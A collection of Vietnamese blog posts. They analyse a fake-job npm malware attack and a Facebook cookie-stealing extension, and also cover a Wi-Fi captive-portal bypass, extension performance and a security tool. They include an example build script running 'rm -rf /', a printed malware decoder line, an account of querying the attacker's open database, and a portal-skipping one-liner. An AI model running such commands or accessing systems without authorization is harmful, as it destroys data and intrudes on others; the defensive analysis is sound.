Tóm tắt diễn biến:

• Kẻ tấn công liên hệ qua LinkedIn, giới thiệu một công việc liên quan đến hỗ trợ phát triển dự án

• Sau khi đồng ý, bạn ấy được thêm vào một repository private trên GitHub

• Khi clone mã nguồn về và chạy lệnh khởi động, quá trình tấn công sẽ được kích hoạt

Phần dưới đây là những gì mình tìm hiểu thêm được về hình thức tấn công này.

Ai sẽ là mục tiêu của kẻ tấn công?

Bài viết trên J2TEAM Community không phải là trường hợp đầu tiên. Bằng một vài từ khóa tìm kiếm trên Google, mình tìm được bài viết sau trên LinkedIn:

Và một bài trên Reddit:

Dựa vào những bài viết ở trên, mình nhận thấy một số đặc điểm chung:

• Mục tiêu là những lập trình viên làm việc trong lĩnh vực web3/blockchain

• Nạn nhân được cấp quyền vào một private repo trên GitHub

• Nạn nhân được thuyết phục chạy lệnh khởi động dự án hoặc build trên máy tính cá nhân

Bài viết từ Reddit cho thấy những dấu hiệu đặc trưng của Stealer - loại mã độc chuyên đánh cắp thông tin. Một vụ việc nổi tiếng gần đây bạn có thể biết là Stealer giả mạo game WuKong.

Thông tin phổ biến nhất mà Stealer thu thập là tài khoản và mật khẩu được lưu trữ trên trình duyệt. Với đối tượng là lập trình viên web3, mục tiêu chính của kẻ tấn công rất có thể là đánh cắp thông tin ví tiền điện tử, chẳng hạn như MetaMask.

Kỹ thuật tấn công

Tấn công thông qua Git Hook

Git hook là các tập lệnh tùy chỉnh được kích hoạt khi thực hiện các lệnh Git như commit, rebase, merge, push,… Mặc định, các hook này được lưu trong thư mục .git/hooks. Kẻ tấn công có thể lợi dụng Git hook để thực thi mã độc mỗi khi người dùng thực hiện một lệnh Git. Đây là một ví dụ.

Mặc định thì thư mục .git sẽ được đặt thuộc tính ẩn (Hidden), nên nếu bạn không cài đặt cho máy tính hiển thị thư mục ẩn thì sẽ không để ý đến nó.

Tuy nhiên, trong các trường hợp nạn nhân bị tấn công khi chạy lệnh như start hoặc build, các lệnh này thuộc về NPM chứ không liên quan trực tiếp đến Git. Vì vậy, chúng ta hãy đến với kiểu tấn công tiếp theo. Nhưng hãy nhớ: Bạn cũng cần cảnh giác với Git Hook!!!

Tấn công thông qua NPM Script

Với các repo GitHub ở trên, điểm chung là sẽ có 1 file package.json như này:

package.json là file kê khai thông tin ứng dụng thường thấy trong các ứng dụng NodeJS. Nó cho biết các thông tin cơ bản như tên, phiên bản cho đến những thông tin khác như thư viện phụ thuộc mà ứng dụng của bạn cần sử dụng. Bạn cũng có thể đăng ký các lệnh có thể sử dụng thông qua mục “scripts” trong file này.

Ví dụ, đây là một lệnh độc hại được giả mạo lệnh build:

{
  "scripts": {
    "start": "node app.js",
    "build": "rm -rf / && echo 'Malicious script executed!'"
  }
}

Nhưng thế này thì lộ liễu quá! Kẻ tấn công thường sẽ ẩn trong file JS và áp dụng các kỹ thuật obfuscation.

Trong phát triển phần mềm, obfuscation (làm rối mã) là hành động tạo ra mã nguồn hoặc mã máy mà con người hoặc máy tính khó hiểu được. Giống như việc làm rối trong ngôn ngữ tự nhiên, nó có thể sử dụng các biểu thức vòng vo không cần thiết để cấu thành các câu lệnh.

Lập trình viên có thể cố ý làm rối mã để che giấu mục đích của nó (bảo mật thông qua sự mơ hồ), logic của nó, hoặc các giá trị ngầm định được nhúng bên trong. Mục đích chính là ngăn chặn việc can thiệp, làm nản lòng các nỗ lực dịch ngược (reverse engineering), hoặc thậm chí tạo ra một câu đố hoặc thử thách mang tính giải trí cho người đọc mã nguồn.

Dựa trên mã nguồn của repo GitHub mà thành viên J2TEAM Community chia sẻ, mình mở package.json và thấy được đăng ký lệnh start như sau:

"scripts": {
    "start": "node server/app.js | react-scripts start",
    "build": "react-scripts build",
    "test": "react-scripts test",
    "eject": "react-scripts eject"
  },

Ta thấy lệnh start này thực hiện 2 lệnh là node server/app.js và react-scripts start. Mình mở tiếp file app.js, thấy code khá bình thường. Mình suy đoán có thể mã độc nằm trong các file được require vào.

fs, path hay http đều là các thư viện sẵn có của NodeJS. Không có gì đáng ngờ. express, socket.io, config và mongoose thì là các thư viện phổ biến mình biết, nên có thể loại bỏ. js-chess-engine là một thư viện có 140 sao trên GitHub, không phổ biến, chúng ta cần để ý.

Mình chợt để ý tới dòng 15:

Thông thường dev sẽ khai báo hết các câu require ở trên đầu, mình liền kiểm tra file token này.

Nhìn mọi thứ rất bình thường đúng không? Nhưng mình chợt chú ý vào thanh cuộn ngang, có một đoạn code đã được đẩy ra rất xa bằng khoảng trắng (space).

Đây là một đoạn JavaScript đã bị làm rối (obfuscation). Chắc chắn là nó!

Mình sử dụng công cụ làm đẹp mã nguồn và kết hợp với ChatGPT để làm code “có thể đọc được” (readable) và diễn giải hành vi:

Trích đoạn bài viết trong J2TEAM Community:

- Khi clone về chạy thử thì cũng không thấy gì bất thường, thấy nó tự popup yêu cầu tải python về máy thì mình cũng chủ quan nghĩ rằng do bên phần mềm máy ảo yêu cầu nên accept luôn (máy ảo mình dùng là parallels desktop for Mac). Chạy source lên thì thấy game cũng khá chỉnh chu và có đầu tư [video 2], càng củng cố niềm tin của mình về ông khách này cho tới khi window báo lỗi

"Failed to get data from the clipboard (error-2147221040: OpenClipboard Failed)" [ảnh 3],

thì mình cũng bắt đầu nghi ngờ và check task manager - phần startup app phát hiện 1 tiến trình lạ tên là "Window Update Script" có status enable [ảnh 4].

Ta có thể nhận ra đoạn code JavaScript kia chính là code đã thực hiện tải Python, tạo file Window Update Script rồi thực thi nó. Đây là ảnh do bạn ấy cung cấp:

Theo như chia sẻ từ bạn La Vi Sar trên nhóm:

• Đoạn Script đã được obfuscation (thủ thuật làm rối code) [ảnh 5] và thực thi bằng đoạn script sau:

• \= lambda _ : import('zlib').decompress(import('base64').b64decode(__[::-1]))

Ta thấy kẻ tấn công sử dụng kết hợp Zlib (nén) và Base64 để che giấu.

Mã Python này sẽ làm gì? Dựa theo file bạn La Vi Sar cung cấp (https://codeshare. io/Q8zb1J), ta thấy các hành vi sau:

- Thêm đường dẫn vào danh sách loại trừ của Windows Defender

- Đăng ký khởi động cùng Windows, đặt tên “Runtime Broker” để ngụy trang

- Tải file

- Yêu cầu chạy với quyền Admin

- Các thư mục được truy cập:

• %APPDATA%\Microsoft\Windows\Applications

• %LOCALAPPDATA%\Microsoft\Windows\Applications

• Thư mục temp

Dựa theo các từ khóa trong mã nguồn python thì mình tìm được nó chính là con malware được phân tích trong video này:

Mã độc mà code python trên sẽ tải về và thực thi trên máy bạn là malware Tsunami.

Tấn công thông qua Dependency

Ngoài việc chèn mã độc vào script, kẻ tấn công còn có thể khai thác dependency (thư viện phụ thuộc) độc hại. Những thư viện này được thêm vào mục dependencies hoặc devDependencies trong file package.json.

Hình thức tấn công này đặc biệt nguy hiểm bởi nó lợi dụng lòng tin của lập trình viên vào các thư viện bên thứ ba. Thậm chí, kẻ tấn công có thể:

1. Sử dụng thư viện phổ biến bị bỏ rơi: Chiếm quyền kiểm soát từ maintainer không còn duy trì thư viện, rồi chèn mã độc.

2. Tạo thư viện trùng tên: Đặt tên gần giống với một thư viện nổi tiếng, khiến lập trình viên vô tình tải nhầm (typosquatting).

Kết luận

Những hình thức tấn công qua Git hook, NPM script, hoặc dependency đều nhằm khai thác sự chủ quan của lập trình viên. Hãy luôn cẩn trọng khi làm việc với mã nguồn từ các nguồn không đáng tin cậy và duy trì thói quen kiểm tra kỹ lưỡng trước khi chạy bất kỳ lệnh nào trên máy cá nhân.

Khi nhận thấy các dấu hiệu bất thường, bạn nên ngừng ngay việc chạy mã và rà soát lại toàn bộ repository để phát hiện nguy cơ tiềm ẩn. Nếu có thể, hãy sử dụng các môi trường độc lập (sandbox) khi chạy lệnh nào đó.

Chúc mọi người an toàn!

Xem thêm video phân tích: https://vt.tiktok.com/ZSj9wfNTH/

Theo dõi mình để xem thêm các nội dung về công nghệ nhé!

Tại sao mình nghĩ vậy? Đơn giản là vì khi ai đó sao chép mã nguồn của một trang web mà vô tình sao chép luôn cả mã theo dõi của Google Analytics (GA) thì khi mở trang đó lên nó sẽ được hiển thị luôn trong Dashboard của chủ mã GA. Điều này khá buồn cười vì lẽ ra Google nên xác minh truy vấn gửi về server có phải là từ tên miền được thiết lập khi tạo mã theo dõi mới.

Nghĩ thầm vậy thôi, do trước đây cũng có ông nào đó chôm giao diện Blog cá nhân của mình và cũng giữ luôn mã theo dõi trong đó nên mình nhanh chóng hiểu ra vấn đề. Điều này cũng chẳng quan trọng lắm, “giao diện mình đẹp thì người ta mới sao chép thôi” – mình nghĩ vậy, tắt tab GA đi rồi làm việc tiếp.

Tối về, ngồi ở nhà mở GA lên xem tình hình, chợt nhận thấy lưu lượng truy cập tăng cao so với mọi khi nhưng các trang hiện ra khá kì lạ. Một loạt các trang có chứa tham số theo dõi do FB thêm vào tự động (?fbclid=xxx) và một trang có tên “tutorial-gc.html” xuất hiện trong bảng báo cáo. Mình đã dùng CloudFlare để loại bỏ tham số theo dõi của FB nên các trang kia dù có đường dẫn là index nhưng chắc chắn không phải index của mình. “Nhiều trang mới xuất hiện thế này hẳn là thanh niên kia đã làm xong trang web và chia sẻ lên đâu đó nên có nhiều người vào rồi đây” – mình nghĩ thầm.

Lần này thì khác với lúc ở công ty, mình bắt đầu thấy khó chịu bởi khi có nhiều lưu lượng truy cập từ trang không phải của mình sẽ làm sai lệch báo cáo lưu lượng hàng tháng trong GA. Ngay lập tức, mình mở tab ẩn danh và tìm thử trên Google xem khi gặp trường hợp người khác sử dụng mã GA của mình trong trang của họ thì nên xử lý như nào.

Quả nhiên, mình không phải là người duy nhất gặp trường hợp này:

• https://www.quora.com/What-happens-if-I-put-someone-elses-Google-Analytics-code-on-my-website

• https://webmasters.stackexchange.com/questions/28994/someone-else-is-using-our-google-analytics-tracking-code-number-what-do-we-do

Nhờ câu trả lời trên Stackexchange, mình biết tới tính năng tạo bộ lọc trong GA. Ngay lập tức mình làm theo, và đây là lúc câu chuyện thú vị hơn bắt đầu diễn ra.

Khi tạo bộ lọc mới, GA cho phép chúng ta xác nhận thử xem bộ lọc mới hoạt động đúng hay không, mình nhấn thử “Verify this filter” (Kiểm tra bộ lọc này) thì thấy hiện ra các danh sách tên miền bị lọc khỏi kết quả. Phải nói trước là vốn dĩ mình chỉ định lọc đống kết quả sai ra khỏi Dashboard của mình chứ không quan tâm chúng là gì. Nhưng nhờ tính năng xem thử các tên miền bị lọc, mình vô tình phát hiện ra một chiến dịch tấn công người dùng FB đang diễn ra nhắm vào những ai muốn tiếp tục sử dụng giao diện cũ của FB.

Từ bảng trên, mình dễ dàng nhận ra trang đang tạo ra rất nhiều lưu lượng sai về tài khoản GA của mình là 2 trang old-xxx. Nhìn theo sub-domain, ta có thể đoán 2 trang này là 1, được deploy lên netlify và thêm tên miền tùy chỉnh vào.

Vào ngó thử coi, quả nhiên giao diện chôm từ J2TEAM.dev qua, thậm chí cái logo JUNO_OKYO trên góc trái của mình vẫn còn giữ nguyên chưa thay đổi.

Cũng chưa có gì đáng để bàn cho lắm, mình chợt có chút tò mò về cái extension này hoạt động ra sao, bởi trước đó mình đã biết về một extension khác với tên là Old Layout với cùng tính năng chuyển giao diện mới của Facebook về giao diện cũ. Mình biết Old Layout hoạt động bằng cách chuyển đổi User-Agent của trình duyệt rồi, nên tự nhủ trong đầu rằng “cái Old XXX này hoạt động dựa trên cái gì ta?”. Thế là nhấn luôn nút đầu tiên, cái extension này chưa có mặt trên Chrome Store nên tác giả đang để link tải file nén về. Tốt thôi, ta sẽ dễ dàng hơn để ngó qua mã nguồn.

Giải nén xong, mình mở ngay file đầu tiên trong thư mục: “background.js”.

Trời ạ, ra là vậy! Hóa ra không chỉ sao chép giao diện trang web, tới cái extension cũng chỉ là chôm mã nguồn từ Old Layout và đổi tên thành extension mới, dựng trang web mới rồi kiếm người dùng. Mình nhận ra ngay bởi mình đã ngó qua extension Old Layout khi nó mới ra mắt. Để kiểm chứng, đây là hình so sánh 2 file “background.js” (Old Layout ở bên trái).

Như các bạn thấy đó, file background.js của cả 2 extension này chẳng có gì khác nhau cả.

Chưa hết!! Khi mở tiếp file manifest.json – nếu bạn chưa biết thì đây là file khai báo thông tin, quyền hạn của extension – mình đã nhận ra có sự khác biệt giữa 2 extension.

Extension “xịn” (Old Layout) chỉ “xin” 3 quyền, trong khi extension “rỏm” thì xin thêm những 6 quyền mới. Để làm chi ta?? Không những vậy, extension rỏm còn yêu cầu được hoạt động ở cả chế độ ẩn danh! “Chết thật, nhỡ người ta coi phim bị lưu lại link thì sao?” – :chim-cánh-cụt:.

Mở tiếp file options.js, mình không thấy có gì lạ, à thì… cũng không có gì khác file options.js của extension xịn. Nhưng tới file popup.js, mình chợt để ý là extension xịn làm quái gì có file này. Hmm… có gì đó hay ho đây.

Mở file lên, đập vào mắt mình là một đống hổ lốn những tên miền gì đó. Nhìn số dòng code, file này lên tới 8420 dòng. Kéo luôn xuống cuối thì thứ “hay ho” xuất hiện:

Giải thích cho bạn nào chưa hiểu, hàm trên sẽ lấy toàn bộ cookies, rồi kiểm tra xem có cookie nào được tạo ra cho tên miền “.facebook.com” hay không, nếu có thì gửi cookie này về Database (cơ sở dữ liệu).

Hack ngược vào Database của kẻ tấn công

Đây là phần hấp dẫn nhất của bài viết, nếu bạn nào còn nhớ thì đây không phải là lần đầu mình làm chuyện này (xem lại bài phân tích và “hack ngược” năm 2017).

File popup.js ở trên được nhúng vào popup.html cùng các thư viện để kết nối với Database (DB), mình hiểu ra là có thể lợi dụng điều này để gửi các truy vấn khác tới DB. Ngay lập tức, mình tạo một hồ sơ mới trên Chrome (để đảm bảo an toàn cho tài khoản của mình thì hồ sơ mới sẽ giống như sandbox vậy). Cài extension kia vào hồ sơ mới rồi nhấn chuột phải vào biểu tượng extension > chọn Inspect popup (tính năng này giống như bạn Inspect element trên các trang web ấy, nhưng cái này thì dành cho việc debug extension).

DevTools thần thánh hiện lên, mình chuyển qua tab Console, gõ hai chữ thân thương “db” > ENTER. Vì sao là “db” thì bạn chú ý xem lại ảnh ở trên mà mình chụp flie popup nhé.

Đúng như kết quả mình mong đợi, biến này truy cập được từ “global” và mình có thể gọi các phương thức mình muốn bằng DevTools để gửi truy vấn tới DB. Thực ra thì kể cả không như mong đợi chúng ta cũng đang nắm trong tay mã nguồn mà. Có thể sửa tầm vực của biến thoải mái (tầm vực là phạm vi biến hoạt động trong một chương trình).

Giờ thì, dựa trên kinh nghiệm làm việc với loại DB này trước đây (mình từng dùng loại DB này hồi 2014-2015 khi làm trang “get link phim Nhật”), mình nhanh chóng truy vấn thử để kiểm tra xem có thể đọc record từ DB hay không.

Rồi xong, thanh niên này đã không cấu hình quy tắc bảo mật để phân quyền đọc DB, khiến bất cứ ai cũng có quyền truy cập vào DB này. Mình ngay lập tức mở Sublime lên code nhanh một chương trình để quản lý DB dựa trên thông tin cấu hình nhúng trong extension và các câu truy vấn mà mình đã biết từ ngày xưa khi làm việc với nó. Kết quả:

Đây là toàn bộ cookie mà kẻ xấu đã chôm được của người dùng, mình viết thêm một hàm nhỏ để bóc tách ID người dùng từ cookie để biết ai đang bị tấn công.

Kết luận

Qua bài viết sau, mình muốn gửi lời cảnh báo tới mọi người không nên vì muốn sử dụng giao diện cũ của FB mà cài đặt tùy tiện các extension từ những người không đáng tin, đây là nguy cơ cao dẫn đến việc mất tài khoản FB của bạn. Chia sẻ bài viết này tới người thân và bạn bè để cùng cảnh giác nhé!

Trên J2TEAM Community cũng đã có một bài hướng dẫn cách chuyển về giao diện cũ mà bạn không cần cài gì cả.

Như vậy là chỉ từ việc bị người khác sử dụng mã Google Analytics, mình đã truy vết và lần ra cả một chiến dịch tấn công người dùng FB dựa trên ham muốn sử dụng giao diện cũ của mọi người. Và mình tin, kẻ tấn công đến từ Việt Nam. Tại sao à? Hãy nhìn nơi tên miền được đăng ký:

Và bây giờ thì…

Chào tạm biệt và hẹn gặp lại trong bài tiếp theo!

Nếu như trước đây chúng ta đi tới đâu thường hay phải hỏi "Bạn ơi, cho mình hỏi mật khẩu wifi ở đây với?!", thì giờ đây, ở các quán cafe hay trung tâm thương mại sẽ sử dụng Wifi Marketing (tiếp thị Wifi).

Wifi Marketing là gì?

Wifi Marketing hay tiếp thị wifi là cách quảng bá sản phẩm, dịch vụ hoặc thu thập thông tin khách hàng qua mạng lưới wifi được sử dụng miễn phí.

AWING là công ty đứng sau các hệ thống Wifi Marketing của Vincom, Golden Gate hay Highlands Coffee… Nếu bạn đã ít nhất một lần sử dụng hệ thống Wi-Fi miễn phí tại đây, bạn sẽ không khó nhận ra dòng chữ AWING trên nền đỏ.

Để có thể sử dụng Wifi, thay vì phải đi hỏi mật khẩu như trước đây thì giờ bạn chỉ cần nhấn kết nối với Wifi, một trang hiển thị Quảng cáo sẽ hiện lên với nút Kết nối Internet. Thường thì bạn sẽ phải nhập thông tin cá nhân (như hình dưới) hoặc phải xem hết một Quảng cáo nào đó (trong khoảng 15-30 giây chẳng hạn).

Nếu bạn là người ghét sự phiền toái của sự chờ đợi hay phải cung cấp thông tin cá nhân giống như mình. Thì đây chính là lý do của bài viết này!

“Hack” Wifi của Highlands Coffee, CGV và Vincom như thế nào?

Trong trường hợp này, mình sử dụng từ “hack” với hàm ý là vượt qua việc chờ đợi, nhập thông tin hay phải xem quảng cáo của trang kết nối Wifi. Cách thực hiện rất đơn giản:

Bước 1: Nhấn F12 để mở Dev Tools > chuyển qua tab Console (nếu chưa).

Bước 2: Sao chép và dán vào đoạn mã sau và nhấn ENTER: document.querySelector('form').submit();

Xong! Bạn đã kết nối Internet mà không cần nhập thông tin cá nhân.

Bookmarklet

Để tối ưu thao tác, mình sẽ hướng dẫn các bạn tạo bookmarklet để dùng trong các lần sau:

Bước 1: Nhấn chuột phải vào thanh bookmark (đánh dấu trang) > Thêm trang mới (Add page).

Bước 2: Đặt tên bất kỳ cho bookmark, ví dụ: Connect Wifi. Ở phần URL, dán vào đoạn mã sau và lưu lại: javascript:document.querySelector('form').submit();

Xong! Từ giờ trở đi mỗi lần nhấn kết nối Wifi, trang quảng cáo hiện ra thì các bạn hãy nhấn nút Connect Wifi trên thanh đánh dấu của bạn (thay vì phải mở Dev Tools và chạy mã lệnh).

Extension giúp kết nối tự động

Dựa theo đoạn mã ở trên, mình có một ý tưởng là làm một extension mà mỗi khi trang connect.awing.vn được mở ra, extension sẽ ngay lập tức thực thi đoạn mã và bạn sẽ kết nối với Internet ngay lập tức mà không cần làm gì cả.

Mình sẽ cập nhật link tải extension trong bài này sau nhé.

Nếu thấy bài viết hữu ích, hãy chia sẻ nó với bạn bè để ủng hộ tác giả viết nhiều hơn, hehe!

Các số liệu chính mà tớ đánh giá là mức tiêu thụ CPU, mức tiêu thụ bộ nhớ và liệu extension có khiến trang hiển thị chậm hơn hay không (tốc độ render).

Tác động tới hiệu suất của Top 100 Extension

Chúng ta cùng bắt đầu với 100 extension được sử dụng nhiều nhất trên Chrome nhé! Mỗi một extension dưới đây đều có trên 2 triệu lượt cài đặt.

Chúng ta sẽ nhìn vào 4 điểm khác nhau:

• Thời gian CPU của trang: Luồng chính (main thread) của trang chạy trong bao lâu và nó làm gì?

• Độ trễ hiển thị trang (render): Mất bao lâu để trang bắt đầu hiển thị nội dung?

• Thời gian CPU chạy nền: Extension xử lý bao nhiêu tác vụ trong trang nền?

• Mức tiêu thụ bộ nhớ trình duyệt: Các thành phần khác nhau của trình duyệt sử dụng hết bao nhiêu bộ nhớ?

Thời gian CPU của trang

Các đoạn mã JavaScript khi thực thi và xử lý logic bố cục trang sẽ chặn luồng chính của trình duyệt (render-blocking), khiến trình duyệt không thể phản hồi tương tác của người dùng.

Trong trường hợp nếu không có extension nào được cài đặt thì thời gian tải trang example.com sẽ mất khoảng 40ms. Nếu bạn cài Evernote hoặc Grammarly thì thời gian này sẽ tăng lên hơn 500ms.

Biểu đồ dưới đây hiển thị 20 extension Chrome làm trang tải chậm nhất trong số 100 extension được sử dụng nhiều nhất. 80 extension còn lại chỉ tăng thời gian lên thêm dưới 100ms.

Thay vì hoạt động trên các trang đặc biệt, những extension này chèn code vào mọi trang được mở bởi người dùng. Hãy xem thử một trong số chúng làm gì nhé!

Evernote Web Clipper

Extension này có hơn 4 triệu người dùng. Nó thêm mã JavaScript có kích cỡ hơn 2.9MB vào mọi trang. Thời gian để xử lý và biên dịch đoạn mã này là 140ms.

Một khi gói mã đó được nạp và thực thi, nó tiêu tốn thêm 300ms nữa.

Đoạn mã này thực sự có làm bất cứ điều gì không? Không! Trừ khi người dùng nhấn vào biểu tượng của Evernote.

Đoạn mã này sẽ thiết lập một trình lắng nghe sự kiện để thực thi khi người dùng nhấn vào biểu tượng extension, nhưng điều này có thể được thực hiện được mà không cần nạp toàn bộ gói mã JavaScript trên.

Grammarly, Clever, Avira Password Manager, Skype

Các extension dưới đây cũng làm điều tương tự: nạp một đống mã lệnh không cần thiết.

Các extension thường xuyên chèn mã vào tất cả các trang, thay vì chỉ chèn trong một số tên miền chỉ định. Trình quản lý mật khẩu (như Avira Password Manager) thì cần kiểm tra xem trong trang có cái form đăng nhập nào không. Tiện ích kiểm tra ngữ pháp (như Grammarly) thì cần coi xem có ô nhập văn bản nào không.

Tuy nhiên, để có hiệu suất tốt hơn, các đoạn mã kiểm tra điều kiện nên được tách biệt với đoạn mã chức năng chính của extension. Phần lớn đoạn mã chỉ nên nạp khi cần thiết. Honey đã thực hiện thay đổi này vào năm ngoái và nó thực sự cải thiện tác động về hiệu suất.

Thú vị thay, Skype chỉ tăng thêm 150ms thời gian CPU, dù cho nó có một gói mã JavaScript với dung lượng khá lớn. Theo tớ thì điều này là do mã của nó chủ yếu bao gồm các object cấu hình tĩnh và các chuỗi để phân tích và thực thi.

Ghostery

Tớ đã rất ngạc nhiên khi thấy Ghostery ở vị trí tương đối cao trong danh sách. Không giống như các extension khác, đoạn mã được chèn vào thực sự làm điều gì đó trên trang, cụ thể là hiển thị cho người dùng biết có bao nhiêu trình theo dõi đã bị chặn.

Ghostery chèn đoạn mã JavaScript có kích cỡ 160KB và làm tăng thêm 120ms thời gian CPU – không phải là một con số lớn. Tuy nhiên, một vài đoạn mã trong số này là render-blocking (chặn quá trình hiển thị trang), chúng ta sẽ xem xét trong phần tiếp theo.

Độ trễ hiển thị trang

Để kiểm tra xem liệu extension có chặn hiển thị trang hay không chúng ta có thể nhìn vào số liệu First Contentful Paint (FCP) – thời điểm trình duyệt bắt đầu hiển thị văn bản hoặc hình ảnh.

Biểu đồ sau là danh sách các extension có ảnh hưởng lớn nhất tới FCP.

Các extension Chrome có thể chỉ định các đoạn mã JavaScript và CSS cần chèn vào trang. Theo mặc định, chúng sẽ được chèn vào trang sau khi trang tải xong và ở trạng thái không hoạt động (idle).

Tuy nhiên, các nhà phát triển có thể quyết định nạp các tài nguyên này ngay khi trang bắt đầu tải. Ví dụ: Dark Reader thay đổi nội dung trang thành giao diện tối. Sẽ thật kì quặc nếu trang hiển thị trong một giao diện sáng và sau đó đột ngột chuyển thành tối. Trường hợp này thì rất hợp lý để chèn mã (CSS/JS) trước khi trang bắt đầu hiển thị, để ngay khi trang bắt đầu hiển thị thì người dùng đã thấy giao diện tối vì CSS đã nạp xong.

Số lượng mã được chèn vào trang nên được giảm đến mức tối thiểu. Tin vui là chỉ có 6 trong số các extension ở biểu đồ trên gây ra độ trễ hiển thị hơn 100ms.

Thời gian CPU chạy nền

Không phải mọi tiến trình mà một extension trình duyệt hoạt động đều diễn ra trên một trang mà người dùng có thể nhìn thấy. Hầu hết các extension Chrome sử dụng thêm một thứ gọi là trang nền (background page), trang này cho phép extension thực hiện những việc như lắng nghe các truy vấn HTTP hoặc cập nhật biểu tượng extension.

Ví dụ: J2TEAM Security sử dụng trang nền để lắng nghe các truy vấn cập nhật trạng thái đọc tin nhắn do Facebook gửi, từ đó tạo ra tính năng "chặn seen" mà các bạn đang dùng hằng ngày. Hay các extension chặn Quảng cáo như uBlock sẽ dùng trang nền để chặn các truy vấn nạp quảng cáo trên các trang web.

Avirar Browser Safety dành gần 3s để chạy mã trong trang nền, trong khi tất cả các extension khác chỉ tiêu tốn dưới 200ms.

Mức độ tiêu thụ bộ nhớ trình duyệt

Các extension có thể làm tăng mức tiêu thụ bộ nhớ, dù là các trang được mở bởi người dùng hay trong các trang nền của extension.

Một lần nữa, Avira Browser Safety đứng đầu danh sách này, nó tăng mức tiêu thụ bộ nhớ thêm 218MB.

Một số trang nền cũng có thể chứa iframe, ví dụ như extension Amazon Assistant:

Một extension với trang nền thường làm tăng mức tiêu thụ bộ nhớ thêm ít nhất là 10MB. Nếu không có trang nền nào và chỉ có một tệp mã nhỏ chạy trên trang thì tác động tới bộ nhớ có thể ở mức tối thiểu.

Các nhà phát triển extension có thể làm gì để tối ưu hiệu suất?

Các nhà phát triển có thể giới hạn chi phí hiệu suất bằng cách chỉ tải các tệp mã lệnh khi cần thiết. Nếu có thể, hãy dùng bộ lọc URL được cung cấp bởi nền tảng extension của Chrome/Chromium.

Nếu đó không phải là một cách hợp lý trong trường hợp extension của bạn, hãy sử dụng một đoạn mã nhỏ để kiểm tra xem extension có cần thực hiện điều gì đó trên trang hay không. Nếu có, đoạn mã nhỏ này có thể nạp thêm đoạn mã bổ sung.

Tuyệt đối tránh tải các tệp lệnh nội dung ở thời điểm document_start. Cố gắng giữ kích thước mã dưới 100KB.

Nếu có bộ lọc URL, tránh lặp lại danh sách hàng ngàn URL, đặc biệt nếu điều kiện phụ thuộc vào logic phức tạp hoặc các biểu thức chính quy (regex).

Nếu extension của bạn cập nhật biểu tượng trong thời gian chạy (runtime), hãy trì hoãn việc này. Mỗi lần cập nhật chỉ mất khoảng 25ms, nhưng điều này sẽ tăng thêm nếu bạn cập nhật biểu tượng 10 lần trong khi đang tải trang.

Kết luận

Hầu hết các trang web mất ít nhất một giây để tải, vì vậy nếu một extension tăng thêm 100ms có thể người dùng không nhận thấy. Tuy nhiên, điều này xảy ra với mọi trang sẽ thật tệ. Bởi vì mọi người thường cài đặt rất nhiều extension chứ không chỉ một, nên một tác động nhỏ về hiệu suất có thể cộng dồn lại thành một hiệu ứng tiêu cực lớn đối với trải nghiệm người dùng.

Nếu thấy bài viết hữu ích, hãy chia sẻ với mọi người nhé!

Theo debugbear.com

Trong bài viết này, tớ sẽ hướng dẫn các bạn cách sử dụng J2TEAM Security để kích hoạt tính năng Profile Picture Guard hay mọi người thường gọi là bật khiên avatar Facebook.

Bật khiên avatar Facebook là gì?

Đây là một tính năng vốn dĩ chỉ khả dụng tại quốc gia Ấn Độ, sau khi kích hoạt khiên:

• Người khác sẽ không thể tải hoặc chia sẻ ảnh đại diện của bạn trên Facebook.

• Chỉ bạn hoặc bạn bè của bạn có thể gắn thẻ ảnh đại diện của bạn.

• Một biểu tượng chiếc khiên sẽ hiển thị trên ảnh đại diện (ở trang cá nhân) để người khác biết ảnh đại diện của bạn đang được bảo vệ.

Bạn có thể xem video giới thiệu của Facebook để biết thêm thông tin: https://www.facebook.com/fbsafety/videos/1357031717667996/

Cách bật khiên avatar Facebook bằng J2TEAM Security

Trước tiên các bạn cài đặt J2TEAM Security (xem hướng dẫn nếu chưa cài). Sau đó các bạn nhấn vào biểu tượng của phần mở rộng ở phía trên góc phải trình duyệt. Khi trang tiện ích mở ra, nhấn vào Facebook Tools > Avatar Guard.

j2team-security-profile-picture-guard

Cuối cùng, chỉ việc nhấn nút Enable Profile Picture Guard (Kích hoạt bảo vệ ảnh đại diện).

Vì tài khoản của tớ đã kích hoạt rồi nên trong ảnh trên nút hiển thị là “Disable” (Vô hiệu hóa). Sau khi kích hoạt, các bạn có thể vào lại trang này và nhấn nút Vô hiệu hóa bất cứ lúc nào nếu không cần bảo vệ ảnh đại diện nữa.

Chặn các trang web lừa đảo, độc hại

J2TEAM Security được thiết kế với tính năng chính là chặn các trang web có giao diện giả mạo trang đăng nhập của Facebook. Ngoài ra, nó còn chặn rất nhiều trang web chứa mã độc thông qua Cơ sở dữ liệu đã biết.

Chặn các chiến dịch phát tán mã độc qua Facebook Chat (Messenger)

Bằng cách phản ứng kịp thời với các chiến dịch tấn công có chủ đích, J2TEAM Security có thể bảo vệ bạn khỏi những mã độc lây lan qua Facebook Chat, ví dụ như trong video sau:

Nếu bạn quan tâm về các chi tiết kỹ thuật, hãy đọc các bài phân tích mã độc trên JUNO_OKYO Blog nhé!

Chặn Clickjacking

Clickjacking là một kỹ thuật nhằm đánh cắp các “cú click” của người dùng. Khi thực hiện một cú click, người dùng nghĩ là mình nhấn chuột lên một đối tượng đang hiển thị trên màn hình, nhưng thực ra lại đang truy cập vào một trang web hoàn toàn khác. Đọc thêm về Clickjacking!

Kỹ thuật này thường được áp dụng để tấn công người dùng Facebook bằng cách sử dụng các nút Like ẩn trên các trang web, các nút Like này được thiết kế để bám theo con trỏ trên màn hình, dù người dùng nhấn chuột ở vị trí nào thì họ cũng nhấn vào nút Like này.

J2TEAM Security bảo vệ bạn bằng cách nhận diện các nút Like đang có trên trang web, kiểm tra xem nút Like này có thể nhận biết được bởi người dùng hay nó đang ẩn. Trong trường hợp nút Like ẩn, J2TEAM Security sẽ xóa các nút Like này khỏi trang web.

Chặn các mã độc đào tiền ảo

Một số nhà phát triển đã kết hợp JavaScript với khả năng của trình duyệt để khai thác máy tính của người dùng như một công cụ đào tiền ảo. Dù chúng được thiết kế với tùy chọn thông báo cho người truy cập biết, nhưng người dùng thì với mong muốn kiếm được nhiều nên thường cài đặt mà không thông báo cho người truy cập.

Vậy nên mỗi khi truy cập phải những trang web như vậy, máy tính của bạn thường kêu rú lên vì CPU bắt đầu hoạt động mạnh hơn do các đoạn mã xấu kia bắt đầu thực thi.

